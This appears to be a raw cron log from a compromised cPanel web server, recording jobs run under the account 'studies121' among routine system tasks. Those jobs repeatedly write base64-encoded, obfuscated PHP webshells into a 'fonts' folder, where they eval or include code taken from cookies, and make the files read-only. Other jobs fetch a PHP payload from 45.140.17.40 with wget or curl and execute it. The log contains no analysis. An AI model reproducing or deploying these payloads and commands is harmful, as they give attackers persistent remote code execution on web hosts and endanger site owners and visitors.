Sep  5 03:43:01 ip-184-168-122-23 CROND[2022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:44:01 ip-184-168-122-23 CROND[2106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:44:01 ip-184-168-122-23 CROND[2108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:44:01 ip-184-168-122-23 CROND[2107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:44:01 ip-184-168-122-23 CROND[2110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:44:01 ip-184-168-122-23 CROND[2109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:45:01 ip-184-168-122-23 CROND[2296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:45:01 ip-184-168-122-23 CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:45:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:45:01 ip-184-168-122-23 CROND[2300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:45:01 ip-184-168-122-23 CROND[2301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:45:01 ip-184-168-122-23 CROND[2302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:46:01 ip-184-168-122-23 CROND[2397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:46:01 ip-184-168-122-23 CROND[2400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:46:01 ip-184-168-122-23 CROND[2399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:46:01 ip-184-168-122-23 CROND[2404]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 03:46:01 ip-184-168-122-23 CROND[2402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:46:01 ip-184-168-122-23 CROND[2403]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:46:01 ip-184-168-122-23 CROND[2405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:47:01 ip-184-168-122-23 CROND[2499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:47:01 ip-184-168-122-23 CROND[2500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:47:01 ip-184-168-122-23 CROND[2501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:47:01 ip-184-168-122-23 CROND[2502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:48:01 ip-184-168-122-23 CROND[2578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:48:01 ip-184-168-122-23 CROND[2583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:48:01 ip-184-168-122-23 CROND[2580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:48:01 ip-184-168-122-23 CROND[2582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:48:01 ip-184-168-122-23 CROND[2581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:49:01 ip-184-168-122-23 CROND[2694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:49:01 ip-184-168-122-23 CROND[2695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:49:01 ip-184-168-122-23 CROND[2696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:49:01 ip-184-168-122-23 CROND[2693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:50:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:50:01 ip-184-168-122-23 CROND[2787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:50:01 ip-184-168-122-23 CROND[2789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:50:01 ip-184-168-122-23 CROND[2790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:50:01 ip-184-168-122-23 CROND[2793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:50:01 ip-184-168-122-23 CROND[2791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:50:01 ip-184-168-122-23 CROND[2796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:50:01 ip-184-168-122-23 CROND[2792]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:50:01 ip-184-168-122-23 CROND[2795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:51:01 ip-184-168-122-23 CROND[2972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:51:01 ip-184-168-122-23 CROND[2973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:51:01 ip-184-168-122-23 CROND[2974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:51:01 ip-184-168-122-23 CROND[2975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:52:01 ip-184-168-122-23 CROND[3064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:52:01 ip-184-168-122-23 CROND[3065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:52:01 ip-184-168-122-23 CROND[3066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:52:01 ip-184-168-122-23 CROND[3067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:52:01 ip-184-168-122-23 CROND[3068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:53:02 ip-184-168-122-23 CROND[3176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:53:02 ip-184-168-122-23 CROND[3175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:53:02 ip-184-168-122-23 CROND[3177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:53:02 ip-184-168-122-23 CROND[3178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:54:01 ip-184-168-122-23 CROND[3309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:54:01 ip-184-168-122-23 CROND[3310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:54:01 ip-184-168-122-23 CROND[3311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:54:01 ip-184-168-122-23 CROND[3313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:54:01 ip-184-168-122-23 CROND[3312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:55:01 ip-184-168-122-23 CROND[3415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:55:01 ip-184-168-122-23 CROND[3412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:55:01 ip-184-168-122-23 CROND[3413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:55:01 ip-184-168-122-23 CROND[3414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:55:01 ip-184-168-122-23 CROND[3416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:55:01 ip-184-168-122-23 CROND[3417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:56:01 ip-184-168-122-23 CROND[3514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:56:01 ip-184-168-122-23 CROND[3515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
